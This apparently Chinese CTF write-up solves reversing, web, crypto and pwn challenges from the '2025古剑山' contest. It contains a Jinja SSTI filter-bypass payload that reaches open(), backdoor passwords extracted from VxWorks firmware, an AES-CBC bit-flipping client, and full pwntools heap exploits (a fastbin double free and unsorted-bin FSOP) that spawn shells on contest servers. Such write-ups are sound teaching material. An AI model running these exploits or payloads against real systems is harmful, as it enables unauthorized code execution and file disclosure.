跳转至

2025古剑山WP


RE

babyre

  1. 入口点与 Main 函数:
    • 程序入口 start 调用了 __libc_start_main,其中 main 函数被识别为 sub_4009AE
    • sub_4009AE 的逻辑非常简单:打印 "Input:" 并使用 scanf 将用户输入读取到全局缓冲区 unk_6D1D70 中。
  2. 发现隐藏逻辑 (.fini_array):
    • 通过分析 __libc_start_main 的参数,注意到了 fini 函数 sub_406530
    • sub_406530 遍历并执行了一个函数指针数组(通常是 .fini_array,用于程序退出时的清理工作)。
    • 在该数组中,发现了一个可疑函数 sub_400CCE
  3. 逆向校验函数 (sub_400CCE):
    • 该函数首先构造了两个栈上字符串,解密后分别为 "success!" 和 "fail!"。
    • 关键检查 1: 它检查输入字符串偏移 10 处的内容是否为 is_good} (即 Input[10:18] == "is_good}")。
    • 加密算法: 随后调用了 sub_4009DC (RC4 KSA) 和 sub_400B96 (RC4 PRGA)。
      • Key: 使用 "is_good}" 作为 RC4 的密钥。
      • Data: 对整个输入字符串进行 RC4 加密(原地修改)。
    • 关键检查 2: 加密后的数据被与一组硬编码的字节进行比较:
      • 0x2F34ED427B495C01 (Little Endian)
      • 0x8B526A1E2EABAA4F (Little Endian)
      • 0x840F (Little Endian)
  4. 解密 Flag:
    • 由于 RC4 是对称加密,且我们已知密钥 ("is_good}") 和密文(硬编码字节),我们可以直接解密还原出原始输入。
Python
def rc4_ksa(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga(S, length):
    i = 0
    j = 0
    keystream = []
    for _ in range(length):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        keystream.append(k)
    return keystream

def solve():
    # Ciphertext from the binary
    # 0x2F34ED427B495C01 -> 01 5C 49 7B 42 ED 34 2F
    p1 = [0x01, 0x5C, 0x49, 0x7B, 0x42, 0xED, 0x34, 0x2F]
    # 0x8B526A1E2EABAA4F -> 4F AA AB 2E 1E 6A 52 8B
    p2 = [0x4F, 0xAA, 0xAB, 0x2E, 0x1E, 0x6A, 0x52, 0x8B]
    # 0x840F -> 0F 84
    p3 = [0x0F, 0x84]

    ciphertext = p1 + p2 + p3

    key_str = "is_good}"
    key = [ord(c) for c in key_str]

    S = rc4_ksa(key)
    keystream = rc4_prga(S, len(ciphertext))

    plaintext = []
    for c, k in zip(ciphertext, keystream):
        plaintext.append(c ^ k)

    print("Plaintext bytes:", plaintext)
    print("Plaintext string:", "".join(chr(c) for c in plaintext))

if __name__ == "__main__":
    solve()

veryez

  1. 入口分析:
    • 程序入口 start (0x4017d1) 调用了 main 函数 (0x401000)。
    • main 函数非常简单,打印提示信息后调用了 sub_401030,并传入了两个参数:字节码 (unk_408254) 和数据区 (unk_408030)。
  2. 虚拟机逆向 (sub_401030):
    • 该函数是一个典型的 VM 解释器,通过 while 循环读取操作码并执行相应操作。
    • 通过分析 switch 分支,我还原了部分关键指令:
      • 0x104: PUSH (压入立即数)
      • 0x305: IN_STR (输入字符串)
      • 0x404: STORE_DWORD (存储数据)
      • 0x504: LOAD_BYTE (加载字节)
      • 0x102: AND (按位与)
      • 0x402: XOR (异或)
      • 0x201: SUB (减法/比较)
      • 0x403: JNZ (条件跳转)
  3. 逻辑还原:
    • 虚拟机执行的逻辑是对输入字符串进行校验。
    • 校验算法为:input[i] == encrypted[i] ^ key[i % 8]
    • 循环次数为 47 次。
  4. 数据提取:
    • Key: 位于数据区偏移 16 处 (0x408040),内容为 "virtualM"
    • Encrypted Flag: 位于数据区偏移 24 处 (0x408048),长度 47 字节。
Python
key = [0x76, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x4d]
enc_flag = [
    0x10, 0x05, 0x13, 0x13, 0x0e, 0x51, 0x5b, 0x29,
    0x45, 0x5e, 0x44, 0x42, 0x47, 0x53, 0x5b, 0x7a,
    0x47, 0x51, 0x16, 0x4c, 0x45, 0x58, 0x58, 0x2f,
    0x12, 0x29, 0x43, 0x12, 0x47, 0x03, 0x0f, 0x29,
    0x46, 0x51, 0x11, 0x15, 0x45, 0x00, 0x0f, 0x2e,
    0x15, 0x0b, 0x47, 0x15, 0x44, 0x02, 0x11
]

flag = ""
for i in range(len(enc_flag)):
    k = key[i % 8]
    flag += chr(enc_flag[i] ^ k)

print(flag)

final

查询可知CVE-2010-2967是VxWorks 6.9之前版本的系统中loginLib的loginDefaultEncrypt()函数存在密码碰撞问题

根据https://blog.csdn.net/a2888828/article/details/116230313内容先binwalk再ida打开分析提取文件,但是符号表恢复失败,根据博客内容定位到了后门账密位置

C
// write access to const memory has been detected, the output may be wrong!
void __noreturn sub_299F0()
{
  __int64 v0; // r3
  __int64 v1; // r3
  __int64 v2; // r3
  __int64 v3; // r3
  __int64 v4; // r3
  __int64 v5; // r3
  __int64 v6; // r3
  __int64 v7; // r3
  __int64 v8; // r3
  unsigned int v9; // [sp+2Ch] [-544h]
  unsigned int v10; // [sp+2Ch] [-544h]
  _BYTE v11[1264]; // [sp+30h] [-540h] BYREF
  unsigned int v12; // [sp+520h] [-50h]
  _BYTE v13[16]; // [sp+528h] [-48h] BYREF
  char v14[40]; // [sp+538h] [-38h] BYREF

  v12 = sub_167DC();
  sub_29994();
  dword_339A20 = 16;
  sub_16B894(&unk_339A40, "59");
  v9 = sub_19D27C(0, 512, 8000, 8000, 0);
  sub_1C6C44(6);
  sub_1C6BBC("/RAM1", v9);
  if ( sub_1C6BB4(6) )
    sub_1BC1CC("dosFSDevInitOptionsSet failed\n");
  sub_1C6C54(v11, 248, 4, 1, 2, 3, 240, 1);
  v10 = sub_19BE50(0, 0);
  if ( !v10 )
  {
    sub_1BC1CC("Format needed FLASH0 - FAULT - Wait for reset ...\n");
    sub_24694(32800);
    while ( 1 )
      ;
  }
  v0 = sub_1C6AD4("/FLASH0", v10, v11);
  v1 = sub_2A714(v0);
  sub_1BB800(v1);
  sub_1BC638(
    v13,
    "%.2X%.2X%.2X%.2X%.2X%.2X",
    *v12,
    *(v12 + 1LL),
    *(v12 + 2LL),
    *(v12 + 3LL),
    *(v12 + 4LL),
    *(v12 + 5LL));
  sub_56B88(v13, v14);
  sub_1BC1CC("-----> Password: %s <-----\n", v14);
  sub_1BC074(v14, &unk_342044);
  sub_1BB850("fwupgrade", &unk_342044);
  sub_1BB850("sysdiag", "bbddRdzb9");
  sub_1BB850("fdrusers", "bRbQyzcy9b");
  sub_1BB850("USER", "cdcS9bcQc");
  v2 = sub_1BB850("ntpupdate", "See9cb9y99");
  sub_29F1C(v2);
  v3 = sub_1CAAC(sub_1BB980, 0);
  v4 = sub_2407C(v3);
  sub_42364(v4);
  v5 = sub_18E898(sub_41938);
  v6 = sub_25CB0(v5);
  v7 = sub_25E2C(v6);
  sub_25E8C(v7);
  v8 = sub_411EC(0);
  dword_339434 = 0;
  dword_2B3240 = 1;
  while ( 1 )
    v8 = sub_41778(v8);
}

根据调用找到了和标准hash非常相似的函数

C
__int64 __fastcall sub_1BC074(__int64 a1, _BYTE *a2)
{
  int v4; // r29
  __int64 i; // r30
  int v7; // r0
  unsigned int v8; // r30
  _BYTE *v9; // r31
  unsigned int n0x32; // r0
  unsigned int n0x35; // r0
  unsigned int n0x38; // r0

  v4 = 0;
  if ( (sub_16BA60)() > 7 && sub_16BA60(a1) <= 0x28 )
  {
    for ( i = 0; i < sub_16BA60(a1); v4 += v7 ^ i )
    {
      v7 = *(a1 + i) * (i + 2);
      ++i;
    }
    v8 = 0;
    v9 = a2;
    sub_1BC638(a2, "%u", 31695317 * v4);
    while ( v8 < sub_16BA60(a2) )
    {
      n0x32 = *v9;
      if ( n0x32 <= 0x32 )
        *v9 = n0x32 + 33;
      n0x35 = *v9;
      if ( n0x35 <= 0x35 )
        *v9 = n0x35 + 47;
      n0x38 = *v9;
      if ( n0x38 <= 0x38 )
        *v9 = n0x38 + 65;
      ++v9;
      ++v8;
    }
    return 0;
  }
  else
  {
    sub_18795C(&unk_360003);
    return -1;
  }
}

exp:

Python
def solve():
    input_str = "SimpleXue"

    # Phase 1: Calculate v4
    v4 = 0
    i = 0
    length = len(input_str)

    # for ( i = 0; (unsigned int)i < (unsigned int)sub_16BA60(a1); v4 += v7 ^ i )
    # {
    #   v7 = *(unsigned __int8 *)(a1 + i) * (i + 2);
    #   ++i;
    # }

    while i < length:
        # v7 = *(unsigned __int8 *)(a1 + i) * (i + 2);
        # Note: In C, `a1 + i` uses the current `i` (before increment).
        char_code = ord(input_str[i])
        v7 = char_code * (i + 2)

        # ++i;
        i += 1

        # Loop increment: v4 += v7 ^ i
        # Here `i` is the NEW value (incremented).
        term = v7 ^ i
        v4 = (v4 + term) & 0xFFFFFFFF 

    # sub_1BC638(a2, "%u", 31695317 * v4);
    # %u prints unsigned int
    intermediate_val = (31695317 * v4) & 0xFFFFFFFF
    s_val = str(intermediate_val)

    print(f"v4: {v4}")
    print(f"Intermediate string: {s_val}")

    # Phase 2: Transform string
    result_chars = []
    for char in s_val:
        code = ord(char)

        # if ( n0x32 <= 0x32 ) *v9 = n0x32 + 33;
        if code <= 0x32: # 0x32 is 50 ('2')
            code += 33

        # n0x35 = (unsigned __int8)*v9;
        # if ( n0x35 <= 0x35 ) *v9 = n0x35 + 47;
        if code <= 0x35: # 0x35 is 53 ('5')
            code += 47

        # n0x38 = (unsigned __int8)*v9;
        # if ( n0x38 <= 0x38 ) *v9 = n0x38 + 65;
        if code <= 0x38: # 0x38 is 56 ('8')
            code += 65

        result_chars.append(chr(code))

    final_hash = "".join(result_chars)
    print(f"Final Hash: {final_hash}")

if __name__ == "__main__":
    solve()

easyre

简单逻辑base64 + RC4 + 异或 0x22222222

Python
import base64
from typing import List

secret_key = b"flag{do_you_find_it_?}"

encrypted_blocks = [
    -56045301,
    1126325548,
    1037697210,
    2123048962,
    1640073719,
    -454381817,
    -2146442625,
    -691840689,
    1448341866,
    586039113,
    -1321770811,
]

xor_const1 = 0x90604956
xor_const2 = 0x22222222

def to_signed32(num: int) -> int:
    num &= 0xFFFFFFFF
    return num if num < 0x80000000 else num - 0x100000000

def generate_rc4_keystream(key: bytes, length: int) -> bytes:
    s_box = list(range(256))
    j = 0
    key_length = len(key)
    for i in range(256):
        j = (j + s_box[i] + key[i % key_length]) & 0xFF
        s_box[i], s_box[j] = s_box[j], s_box[i]

    i = 0
    j = 0
    keystream = bytearray()
    for _ in range(length):
        i = (i + 1) & 0xFF
        j = (j + s_box[i]) & 0xFF
        s_box[i], s_box[j] = s_box[j], s_box[i]
        k = s_box[(s_box[i] + s_box[j]) & 0xFF]
        keystream.append(k)
    return bytes(keystream)

def int_to_little_endian_bytes(num: int) -> bytes:
    num &= 0xFFFFFFFF
    return bytes((num & 0xFF, (num >> 8) & 0xFF, (num >> 16) & 0xFF, (num >> 24) & 0xFF))

def decrypt_block(block_val: int) -> bytes:
    temp_a = to_signed32((block_val ^ xor_const2) & 0xFFFFFFFF)
    if temp_a > 0:
        decrypted = (temp_a ^ xor_const1) & 0xFFFFFFFF
        return int_to_little_endian_bytes(decrypted)

    temp_b = to_signed32(block_val & 0xFFFFFFFF)
    if temp_b <= 0:
        decrypted = (temp_b ^ xor_const1) & 0xFFFFFFFF
        return int_to_little_endian_bytes(decrypted)

    decrypted = ((block_val ^ xor_const2) ^ xor_const1) & 0xFFFFFFFF
    return int_to_little_endian_bytes(decrypted)

def main():
    ciphertext = bytearray()
    for block in encrypted_blocks:
        decrypted_block = decrypt_block(block)
        ciphertext += decrypted_block

    rc4_keystream = generate_rc4_keystream(secret_key, len(ciphertext))
    base64_encoded = bytes(c ^ k for c, k in zip(ciphertext, rc4_keystream))

    try:
        decoded_bytes = base64.b64decode(base64_encoded, validate=True)
    except Exception:
        decoded_bytes = base64.b64decode(base64_encoded + b"=" * ((4 - (len(base64_encoded) % 4)) % 4))

    try:
        result_string = decoded_bytes.decode("ascii")
    except UnicodeDecodeError:
        result_string = None

    if result_string is not None:
        print(result_string)

if __name__ == "__main__":
    main()

helloworld

main(0x401000 ): 0分配v3=malloc(100),并用随机字节填充。 读取标准输入 Buffer(最多 100 字节),按两个字节一组解析。每组指令的第一个字节:0·高4位为操作码h=first >>4 低4位为索引idx=first & 0xF(在 v3 中的下标)0若h为3,读取该组的第二字节 b2,将v9= b2 &8x1F,随后会把 v3[idx]= v28[v9],其中v28="abcdefghijklmnopqrstuvwxyz" 若 h为1,把 v3[idx]若为 a..z 转成大写。 若 h为 2,把 v3[idx]若为 A..Z 转成小写。 其他 h(如 4)分支未有效赋值(v18 未初始化),等效为无操作。 循环以步长 2扫过 Buffer 。 最后通过 sub 4011CE(sub 401348)写出到 std::ostream。sub 401348 做的是输出换行和刷新; sub 4011CE 包装了缓冲写入,最终会把我们构造的内容输出。·结论:我们可以用两字节一组的“指令“把 v3 指定位置设为某个小写字母,再用 h=-1 指令把该位置转成大写。由此可精确构造任意英文字串(a-z和其大写)。

Python
import socket
import sys
from typing import Tuple

SERVER_HOST = "47.107.164.227"
SERVER_PORT = 47103

def get_alpha_index(char: str) -> int:
    char = char.lower()
    index = ord(char) - ord('a')
    if not (0 <= index <= 25):
        raise ValueError(f"非字母字符: {char}")
    return index

def create_set_letter_command(index: int, char: str) -> bytes:
    first_byte = (3 << 4) | (index & 0x0F)
    letter_index = get_alpha_index(char)
    second_byte = ord('a') + letter_index
    return bytes([first_byte, second_byte])

def create_uppercase_command(index: int) -> bytes:
    first_byte = (1 << 4) | (index & 0x0F)
    second_byte = ord('A')
    return bytes([first_byte, second_byte])

def create_noop_command(index: int) -> bytes:
    first_byte = (4 << 4) | (index & 0x0F)
    second_byte = ord('Z')
    return bytes([first_byte, second_byte])

def construct_payload() -> bytes:
    target_string = "GdkknVnqkc"
    uppercase_flags = [True, False, False, False, False, True, False, False, False, False]
    result = bytearray()

    for idx, char in enumerate(target_string):
        result += create_set_letter_command(idx, char)
        if uppercase_flags[idx]:
            result += create_uppercase_command(idx)

    for idx in range(10, 16):
        result += create_noop_command(idx)

    return bytes(result)

def transmit_data(host: str, port: int, data: bytes, timeout: float = 5.0) -> Tuple[bytes, bytes]:
    buffer = bytearray()
    with socket.create_connection((host, port), timeout=timeout) as connection:
        connection.settimeout(timeout)
        connection.sendall(data + b"\n")
        while True:
            try:
                chunk = connection.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            buffer += chunk
    return bytes(buffer), b""

def main():
    packet = construct_payload()

    if len(sys.argv) == 1:
        output, _ = transmit_data(SERVER_HOST, SERVER_PORT, packet)
        try:
            sys.stdout.buffer.write(output)
        except Exception:
            print(output.decode(errors="replace"))
        return

    if sys.argv[1] == "--dump":
        file_path = sys.argv[2] if len(sys.argv) > 2 else "input.bin"
        with open(file_path, "wb") as file:
            file.write(packet)
        return

    argument = sys.argv[1]
    if ":" in argument:
        target_host, port_str = argument.split(":", 1)
        target_port = int(port_str)
    else:
        target_host, target_port = argument, SERVER_PORT

    output, _ = transmit_data(target_host, target_port, packet)
    try:
        sys.stdout.buffer.write(output)
    except Exception:
        print(output.decode(errors="replace"))

if __name__ == "__main__":
    main()

WEB

baby_ssti

题目对builtins有过滤,直接拼接绕过即可,以下是Payload /hello?name={{ url_for.globals['buil'+'tins']'open'.read() }} URL编码:/hello?name={{%20url_for.globals[%27__buil%27+%27tins__%27]%27open%27.read()%20}}

CRYPTO

common rsa

Python
# 给定参数
N = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699
e1 = 35422
c1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033
e2 = 1033
c2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548

# 扩展欧几里得,求 a, b 使得 a*e1 + b*e2 = 1
def egcd(a, b):
    if b == 0:
        return (a, 1, 0)
    g, x, y = egcd(b, a % b)
    return (g, y, x - (a // b) * y)

g, a, b = egcd(e1, e2)
assert g == 1  # 必须互素
# 这里应得到 a = -334, b = 11453(可能有等价解)

# 计算模逆
def modinv(x, n):
    g, u, v = egcd(x, n)
    if g != 1:
        raise ValueError("不存在模逆(gcd != 1)")
    return u % n

# 处理负幂
if a < 0:
    inv_c1 = modinv(c1, N)
    part1 = pow(inv_c1, -a, N)
else:
    part1 = pow(c1, a, N)

if b < 0:
    inv_c2 = modinv(c2, N)
    part2 = pow(inv_c2, -b, N)
else:
    part2 = pow(c2, b, N)

m = (part1 * part2) % N
print("m (int) =", m)

# 如需转为字节/字符串(假设是标准直接编码,无填充):
m_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print("m (hex) =", m_bytes.hex())
try:
    print("m (utf-8) =", m_bytes.decode('utf-8'))
except UnicodeDecodeError:
    print("m 不是可直接解码的 UTF-8 文本(可能是二进制或需特定编码/填充)。")

sol

通过分析题目给出的方程 $y=x4+ax2+bx+c$ 以及各变量的大小范围: - $x$ 是 1024 位素数,所以 $x^4$ 大约为 4096 位。 - $a$ 是 512 位,$b$ 是 1024 位,$c$ 是 1500 位。 - $ax^2$ 大约为 $512 + 2048 = 2560$ 位。 - $bx$ 大约为 $1024 + 1024 = 2048$ 位。

可以看出 $x^4$ 这一项在 $y$ 中占据绝对主导地位,其他项相对于 $x^4$ 非常小。因此,$x$ 可以通过直接对 $y$ 开四次方根并取整得到。

计算出 $x$ 后,我们可以通过移项求解 $a$: $ax^2 = y - x^4 - bx - c$ $a = \frac{y - x^4 - bx - c}{x^2}$

Flag:

Text Only
flag{01a6eb898468abbd352300a7a072495c}

aesstudy

分为PoW验证和多轮bit-flipping攻击。AES-CBC模式中,密文块Ci会与下一块明文Mi+1进行XOR:Mi+1 = AES_Decrypt(Ci+1) ⊕ Ci。攻击原理是通过修改密文块Ci的字节来控制明文块Mi+1对应位置的字节值:C1[pos-16] ^= (M1[pos] ^ ord(target_char))。首先暴力破解3字节PoW,然后在每轮中根据服务器给出的c1密文、m1明文和m2约束条件,修改c1构造新密文c2使解密后满足约束,最终获得flag。

Python
#!/usr/bin/env python3
import hashlib
import re
import base64
from pwn import *

context.log_level = 'debug'

def crack_hash(prefix):
    log.info(f"Cracking hash with prefix: {prefix}")
    for x in range(256):
        for y in range(256):
            for z in range(32):
                data = bytes([x, y, z])
                if hashlib.sha256(data).hexdigest().startswith(prefix):
                    solution = data.hex()
                    log.success(f"Hash cracked: {solution}")
                    return solution
    return None

def flip_bits(cipher_b64, plain_b64, targets):
    cipher_bytes = bytearray(base64.b64decode(cipher_b64))
    plain_bytes = bytearray(base64.b64decode(plain_b64))
    modified_cipher = bytearray(cipher_bytes)

    for index, desired_char in targets.items():
        if index >= 16:
            desired_byte = ord(desired_char)
            original_byte = plain_bytes[index]
            xor_diff = original_byte ^ desired_byte
            modified_cipher[index - 16] ^= xor_diff

    return base64.b64encode(bytes(modified_cipher)).decode()

def extract_data(text):
    cipher_pattern = r"c1\.encode\('base64'\)=([A-Za-z0-9+/=\n]+?)(?=\n#)"
    cipher_match = re.search(cipher_pattern, text, re.DOTALL)
    if not cipher_match:
        return None, None, {}

    cipher_encoded = cipher_match.group(1).replace('\n', '')

    plain_pattern = r"m1\.encode\('base64'\)=([A-Za-z0-9+/=\n]+?)(?=\n#)"
    plain_match = re.search(plain_pattern, text, re.DOTALL)
    if not plain_match:
        return None, None, {}

    plain_encoded = plain_match.group(1).replace('\n', '')

    target_dict = {}
    for constraint in re.finditer(r"m2\[(\d+)\]=(.)", text):
        position = int(constraint.group(1))
        character = constraint.group(2)
        target_dict[position] = character

    return cipher_encoded, plain_encoded, target_dict

def execute():
    connection = remote('47.107.168.16', 40335)

    received_data = connection.recvuntil(b"@ x.encode('hex')=").decode()
    hash_pattern = re.search(r"=='([a-f0-9]{8})'", received_data)
    if not hash_pattern:
        log.error("Cannot find hash target")
        connection.close()
        return

    hash_target = hash_pattern.group(1)
    hash_solution = crack_hash(hash_target)
    if hash_solution is None:
        log.error("Hash cracking failed")
        connection.close()
        return

    connection.sendline(hash_solution.encode())
    connection.recvuntil(b"Good job!\n")

    current_round = 1
    while True:
        try:
            log.info(f"Processing round {current_round}")

            round_data = connection.recvuntil(b"@c2.encode('base64')=", timeout=3).decode()
            cipher_data, plain_data, constraint_map = extract_data(round_data)

            if not cipher_data or not plain_data:
                log.error("Data extraction failed")
                break

            log.info(f"Round constraints: {constraint_map}")
            result_cipher = flip_bits(cipher_data, plain_data, constraint_map)
            connection.sendline(result_cipher.encode())

            server_response = connection.recvline(timeout=2).decode().strip()
            log.info(f"Server says: {server_response}")

            if "Good job!" not in server_response:
                log.warning("Unexpected server response")
                print(server_response)
                connection.interactive()
                break

            current_round += 1

        except EOFError:
            log.info("Server closed connection")
            break
        except Exception as error:
            log.error(f"Exception occurred: {error}")
            try:
                leftover_data = connection.recvall(timeout=2).decode()
                print("\n" + "=" * 40)
                print("Leftover data from server:")
                print(leftover_data)
                print("=" * 40)
            except Exception:
                pass
            break

    connection.close()

if __name__ == "__main__":
    execute()

PWN

ezuaf

2.23版本,double free且没开启pie,free,chunk1->chunk2->chunk1,alloc一次同大小,将fastbin指针指向bss段上_IO_2_1_stderr_,偏移一定数值,使得0x7f在chunk的size位置,malloc到bss上后改note到got表,将exit改成backdoor

Python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

# =========================================================
#                  SETUP
# =========================================================
# 设置pwntools上下文
context.arch = 'amd64'      # 目标架构
context.os = 'linux'        # 目标系统
context.log_level = 'info' # 设置日志级别 (debug/info/warn/error)

# 目标文件信息
elf = ELF('./pwn')

# 全局变量,用于切换本地/远程调试
# 使用 'local' 命令行参数进行本地调试
# 使用 'remote' 命令行参数进行远程连接
if 'remote' in sys.argv:
    p = remote('47.107.139.41', 44534) # 替换为你的远程IP和端口
else:
    p = process(elf.path)

# =========================================================
#                  HELPER FUNCTIONS
# =========================================================

def send_choice(choice):
    """向菜单发送选择"""
    p.sendlineafter(b'your choice:', str(choice).encode())

def add(index, size, content):
    """对应case 1: add note"""
    log.info(f"Adding note at index {index} with size {hex(size)}")
    send_choice(1)
    p.sendlineafter(b'Input the index of the note:', str(index).encode())
    p.sendlineafter(b'Input the length of the note:', str(size).encode())
    p.sendafter(b'please enter your note:', content) # 使用send而非sendline,避免写入多余的换行符

def delete(index):
    """对应case 2: delete note"""
    log.info(f"Deleting note at index {index}")
    send_choice(2)
    p.sendlineafter(b'enter index:', str(index).encode())

def show(index):
    """对应case 3: show note. 返回泄露的内容。"""
    log.info(f"Showing note at index {index}")
    send_choice(3)
    p.sendlineafter(b'Input the index of the note:', str(index).encode())
    # puts函数会输出内容直到遇到\x00,然后额外输出一个换行符
    # 因此,我们先接收提示信息,然后用recvline()接收包含note内容和换行符的一整行
    p.recvuntil(b'The content of the note:')

def edit(index, content):
    """对应case 4: edit note"""
    log.info(f"Editing note at index {index}")
    send_choice(4)
    p.sendlineafter(b'enter the index of note:', str(index).encode())
    p.sendafter(b'please enter your note:', content) # 同样使用send

def exit_program():
    """对应case 5: exit"""
    log.info("Exiting program")
    send_choice(5)

# =========================================================
#                  EXPLOITATION
# =========================================================

def main():
    #context.log_level = 'debug'    # 切换到debug模式以查看详细的交互信息
    add(9, 0x60, b'/bin/sh\x00')  # Chunk 9
    add(0, 0x60, b'A'*8)          # Chunk 0
    add(1, 0x60, b'B'*8)          # Chunk 1
    delete(9)
    delete(0)
    delete(1)                     
    delete(0)                   
    #context.log_level = 'debug'    # 切换到debug模式以查看详细的交互信
    add(2, 0x60, p64(0x6020b5-8)) 
    add(3, 0x60, b'C'*8)
    add(5, 0x60, b'a')
    add(6, 0x60, b'aaa')
    show(6)
    libc = ELF('./libc.so.6')
    libc_base = u64(p.recvuntil(b'\x0a', drop=True)[-6:].ljust(8, b'\x00')) - libc.sym["_IO_2_1_stderr_"]
    log.success(f"Libc base address: {hex(libc_base)}")
    edit(6, b'a'*0x23 + p64(0x100)+p64(elf.got["exit"]))
    edit(0, p64(elf.sym["backdoor"]))
    exit_program()
    p.interactive()
if __name__ == "__main__":
    main()

o

连接服务器,故意报错,拿到backtrace,里边有目标libc地址

C
1
2
3
4
5
6
7
8
9
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x77a5d65cc7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x77a5d65d715e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x77a5d65d91d4]
./pwn(+0xae5)[0x647bd4000ae5]
./pwn(+0xe42)[0x647bd4000e42]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x77a5d6575840]
./pwn(+0x8aa)[0x647bd40008aa]
======= Memory map: ========

通过网站libc database search查找到对应版本是libc6 2.23-0ubuntu11.2 amd64

题目则是没有fastbin,只能unsortedbin的uaf,可以通过unsorted bin attack+FSOP达到getshell

Python
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./pwn')

if args.REMOTE:
    p = remote('47.107.80.18', 48104)
else:
    p = process(elf.path)

def menu(choice):
    p.sendlineafter(b'choice', str(choice).encode())

def add(size, content):
    menu(1)
    p.sendlineafter(b'size', str(size).encode())
    p.sendlineafter(b'content', content)

def dele(idx):
    menu(2)
    p.sendlineafter(b'idx', str(idx).encode())

def edit(idx, content):
    menu(3)
    p.sendlineafter(b'idx', str(idx).encode())
    p.sendlineafter(b'content', content)

def edit_fast(idx, content):
    menu(3)
    p.sendlineafter(b'idx', str(idx).encode())
    p.sendafter(b'content', content)

def show(idx):
    menu(4)
    p.sendlineafter(b'idx', str(idx).encode())

add(0x200, b'A') #0
add(0x100, b'B') #1
add(0x100, b'C') #2
add(0x100, b'E') #3
add(0x100, b'F') #4

dele(0)
show(0)
p.recvuntil(b'\n')
libc = ELF('./libc.so.6')
leak = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
libc_base = leak - libc.sym['__malloc_hook'] - 0x68
IO_list_all = libc.sym['_IO_list_all'] + libc_base
system_addr = libc.sym['system'] + libc_base
print(f'Libc base: {hex(libc_base)}')
print(f'IO_list_all: {hex(IO_list_all)}')
edit_fast(0, b"a"*8)  #overflow size of chunk2
dele(2)
show(0)
p.recvuntil(b'aaaaaaaa')
leak2 = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
heap_base = leak2 - 0x320
print(f'Heap base: {hex(heap_base)}')

edit_fast(0, p64(leak))  #fix size of chunk0
add(0x100, b"D") #5
add(0x100, b"D") #6
payload = flat([
  b'a' * 0x100,
  b'/bin/sh\x00',  ##结构体的首个
  0x61,
  0,
  IO_list_all - 0x10,
  0,
  1,
  b'\x00' * 0xa8,    ##只能是\x00
  heap_base + 0x1e8,
  [0] * 2,
  [system_addr] * 2
])

edit(0, payload)
#pause()
menu(1)
p.sendlineafter(b'size', str(1024).encode())
p.interactive()